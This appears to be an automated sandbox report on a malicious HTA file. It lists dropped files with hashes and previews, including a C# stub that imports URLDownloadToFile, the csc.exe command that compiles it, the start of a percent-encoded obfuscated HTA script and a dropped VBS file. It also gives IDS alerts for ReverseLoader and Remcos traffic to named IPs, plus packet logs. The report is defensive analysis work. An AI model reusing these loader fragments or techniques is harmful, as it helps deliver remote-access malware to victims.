Preview:	{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7126",. "geoplugin_longitude":"-74.0066",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	5.290848674040258
Encrypted:	false
SSDEEP:	24:32gSKco4KmZjKbmOIKod6lss4RPQoUP7mZ9t7J0gt/NKM9r8Hd:GgSU4xympgv4RIoUP7mZ9tK8NF9u
MD5:	4331E6279D847E92D6B654CECE4305BF
SHA1:	E52D3DA01374F7C5BF5C2BF2CCBB54C92AC388F5
SHA-256:	54D683F53266320AAC50FF4F42DF00F95741BC9D870304FAB2E7EC0E9CFA3E6A
SHA-512:	2F627A386BC8E0F7DC5E7BB0007DDFC4DD70874A5E35BAD2FFD033236141337C5F5B80D2844984A80FA9EAB9FC07B8D3DF8A43D6D64C18D1F2CE592DAD9CD404
Malicious:	false
Preview:	@...e...........................................................@...............(..o...B.Rb&............Microsoft.VisualBasic...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.0.cs

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
Category:	dropped
Size (bytes):	472
Entropy (8bit):	3.6893732181806316
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuL8b9Mm7jQXReKJ8SRHy4HaRbbrT3V6bQy:V/DTLDfuLCKXfHmpVdy
MD5:	0E78A3764EC34C2C2E3C81C978660C95
SHA1:	A8F89051D487578CC173F3FDFA512247A9C766E8
SHA-256:	6AC8F316D174FADA84AACEE4991D18807FF23B2DD66A64ACC54D3DF8A713BD91
SHA-512:	7B69D7B4E8878531A8F1C2574BA445D4F58F9C50FB21065B6214C23A6961173C83DE177A8B6CC2BF4D7928D5C7A10E11C26E8108DCF483C3761DD10911B887A4
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace EgNa.{. public class fVf. {. [DllImport("UrLMON.dLl", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr H,string KooP,string EqZ,uint tigm,IntPtr IngTYjZxUM);.. }..}.

C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.290763664537691
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fe54Mzxs7+AEszIwkn23fe54Pxn:p37Lvkmb6KRfuWZEifZx
MD5:	63512CCCBBE6424AF974E295EE28EB06
SHA1:	DB6B3F6388F8291E66252382FBFC2F5FBCA103C4
SHA-256:	CEDFD9E8CA913A467BE37477B2AB821693F069FC7E95C407286669E530EBDEAD
SHA-512:	2864326F67E8B0938416E58C3A08BEFE7A25AFF6628A0051A480267A0626F6EAD00338BE8D2051AAAAEF4C7D050344495DD18091975573A925067F8DC9E2D346
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.0.cs"

C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.816231646497509
Encrypted:	false
SSDEEP:	24:etGSGmmJ2J2F8800kyaxHlhWFtkZfr+tC+WI+ycuZhNBakSvPNnqI:6GmNUenLxHCwJrsCl1ulBa3tqI
MD5:	A7C56FE74FED239C3CC3497D847E2500
SHA1:	9CE2DD5DABBC977AE3D9235842D0B0D02D9CAE86
SHA-256:	E0848BA32FCDBFE88CEA331C7B4D577CD3FDE4E3735033AC3578C42DD6E3CBFC
SHA-512:	1314C2D37244D5932B20A0CC72F0A2805DB2928EF91A40000D1BD773EE492D1BA284C5DA7853B51CD6914FB97BA16FDD00CF4C1421BE04B399E7238607952CE8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................0.).....j.....j.......................................... 7.....P ......I.........O.....Q.....V.....Z....._...I.....I...!.I.....I.......!............7....................................... ..........<Module>.2q

C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.out

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (446), with CRLF, CR line terminators
Category:	modified
Size (bytes):	867
Entropy (8bit):	5.342925257789158
Encrypted:	false
SSDEEP:	24:KJBqd3ka6KRfvEifZUKax5DqBVKVrdFAMBJTH:Cika6CvEuZUK2DcVKdBJj
MD5:	C15E1E08F247956424B9AFA5768F9CDF
SHA1:	A625BD7E3935F85E4B0987820EAA9EFB007EEBB3
SHA-256:	9C2A518630F3B06C29F4F54C559230D25B1CC619244A8B61D01B1CA6F2774D75
SHA-512:	D9E7E36F0453F9D212D540748CE91E74E040DAE8CDD83B700D5601D1FB408DA5840C2EC4BDFADE00F9220435D57B8B44CD7F662CB989788B2425A4BF7AB4DFAB
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1306179308310567
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryzak7YnqqvPN5Dlq5J:+RI+ycuZhNBakSvPNnqX
MD5:	BF321B69031AE226A561EE1465571FBA
SHA1:	F4655BCB029959273E6873953CB22C66A725F2BE
SHA-256:	41C57E7CED6BBE8E85EACBA8680ED567B9091FD54ACC5A73239F4CAFC234106D
SHA-512:	97CD6D47B00CE09A6BC10B8627C61F6E6AE4BD2EC7B965325639D88D94F28BFD3ED1742DB54859FFB0A476F4BCC8AAAB794F7A0A2D4B1FF387AB7491EF95B5E7
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.q.f.3.p.w.z.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.q.f.3.p.w.z.p...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES8DF2.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Tue Jan 14 06:49:03 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.993011904259647
Encrypted:	false
SSDEEP:	24:H0xe9E2+fRLeXDfHdJFwKEbsmfII+ycuZhNBakSvPNnqSqd:UDRLez9QKPmg1ulBa3tqSK
MD5:	3ECDE825C886EEE13DF13006BE1FC4AC
SHA1:	B6B5651D6BB414AE68068DFB92539FE039205FA3
SHA-256:	F2EBF05247EE2BCF974BAFB775A35B2079AA68410CEFB2DC8234F5A2AF6BF93B
SHA-512:	DC62516FE9B6447DE7BA75082491F531C00072B372F0503ACFDB42283B929DD0CD9BE6E2028F6101D0AAA8BA2472D035AB7D4E5587F5732F290D578FBB6034A1
Malicious:	false
Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP................2.i...&.a..eW............4.......C:\Users\user\AppData\Local\Temp\RES8DF2.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.q.f.3.p.w.z.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0mcdld44.5q5.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0jboq13.qhi.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3mnkd1j.ym2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3kn2dh2.bmv.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5k2bmow.52w.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ued24ssx.dax.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aockdegvxmbvbenvzdaftknehua

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Local\Temp\bhvEC00.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11274), with CRLF line terminators
Category:	dropped
Size (bytes):	235047
Entropy (8bit):	5.22901885652912
Encrypted:	false
SSDEEP:	3072:A8gVmI3b0mgfmWu+Pee9VOv5iG5sVhQ30Wk+70wgA1A:A8gVqee9VOvM
MD5:	28EA1C4F19651AB6CFD1828943BD7913
SHA1:	03FC2176B4BB04FD903C217EDD487EFEF0DD9505
SHA-256:	9700962BC78CF83F0D780D391CFB1276490B0972D826424CD3631BDF78B24968
SHA-512:	7C0479CCD140B149F8234171F53C4FDE63C7D27E007C8BF3FF3ECD1389954D87F53F69845025D2762292195BD0FD33264E3CC39DF00D7CB8003FD5210CE7E694
Malicious:	true
Preview:	Dim sh 'WScript.Shell object..Dim fso 'Scripting.FileSystemObject..Dim format 'StringFormatter object..Dim suiteFolder 'string: folder where test suite scripts are located..Dim projectFolder 'string: root folder for this project..Dim suiteFilter 'string: filename filter for selecting integration test suites...Dim caption 'string: MsgBox/PopUp title bar text...Dim aDocGens 'array of strings: filespecs for code-comment-based documentation generators...Dim aGits 'array of strings: common filespecs for Git bash and Git GUI executables...Dim aDocs 'array of strings: filespecs for last-minute docs to update before a push...Dim nextItem 'integer: current index of the prepItems array...Dim settings 'integer: controls MsgBox/PopUp behaviour...Dim prepItems 'array: list of prcedure (Sub) names to be called by window.SetTimeout...Dim flagFile 'string: filename of a temp file used by Setup.vbs...Dim versionLink 'web page with version info..Dim editor 'document editor..Dim powershell 'filespec of a

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (47359), with CRLF line terminators
Entropy (8bit):	2.4427703470523556
TrID:	HyperText Markup Language (13008/1) 61.90% HTML Application (8008/1) 38.10%
File name:	verynicegirlwalkingarounftheworldmuuuah.hta
File size:	48'176 bytes
MD5:	6dc778742c1403851ff2659fcee24150
SHA1:	7cc386b4ddf71303ed5a42a3ba8c8c8404ff5660
SHA256:	ba54736b563266fd4f32553c63737596d3208a9112cb47d6513f68db2c2e6b67
SHA512:	a897d85c10a466c4c0c964df03692401e53fe22d55f0aac47c0eb569573f68fa0cb5e9781679b318d626fdb9d7114a16a610c9b2840ab3b7dfd17f7ba93e1421
SSDEEP:	384:3JOmk0yZAx8XKnnNXIsvZDmjbSu7lvRvw:3smyA+XeYJ1RZ4
TLSH:	5E23CE7B6443A08BA5278BBFFDEC1CA102019C77ADF86F0925F8941F76FC5D62124989
File Content Preview:	<script>.. ..(function() {.. var d = unescape("%61%30%34%30%31%38%35%37%30%37%62%35%63%30%37%36%20%64%28%33%27%38%3d%34%29%63%4c%58%51%50%22%0a%20%51%49%58%45%63%4c%58%58%54%70%49%55%59%4d%5a%21%65%3c%70%39%25%70%27%53%51%54%45%58%4d%46%50%49%65%63%

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T06:12:59.964053+0100	2057635	ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound	1	172.245.123.7	80	192.168.2.4	49738	TCP
2025-01-14T06:12:59.964053+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	172.245.123.7	80	192.168.2.4	49738	TCP
2025-01-14T06:13:00.454329+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.4	49730	172.245.123.7	80	TCP
2025-01-14T06:13:20.415125+0100	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	172.245.123.7	80	192.168.2.4	49738	TCP
2025-01-14T06:13:20.415125+0100	2020425	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2	1	172.245.123.7	80	192.168.2.4	49738	TCP
2025-01-14T06:13:21.437625+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49739	172.245.123.12	8690	TCP
2025-01-14T06:13:22.592949+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	178.237.33.50	80	TCP
2025-01-14T06:13:22.625149+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49741	172.245.123.12	8690	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 06:12:59.964052916 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:12:59.969247103 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:12:59.969563007 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:12:59.969784021 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:12:59.974637032 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454273939 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454296112 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454313040 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454329014 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454329014 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454344988 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454363108 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454377890 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454395056 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454401016 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454401016 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454401016 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454410076 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454427004 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.454437971 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454437971 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454464912 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.454464912 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.459372997 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.459389925 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.459424019 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.459460974 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.459491968 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.459508896 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.459526062 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.459572077 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.459572077 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.542754889 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542779922 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542797089 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542810917 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.542851925 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.542851925 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.542877913 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542962074 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542978048 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.542994976 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.543009043 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.543042898 CET	49730	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:00.543628931 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.543646097 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.543662071 CET	80	49730	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:00.543677092 CET	80	49730	172.245.123.7	192.168.2.4
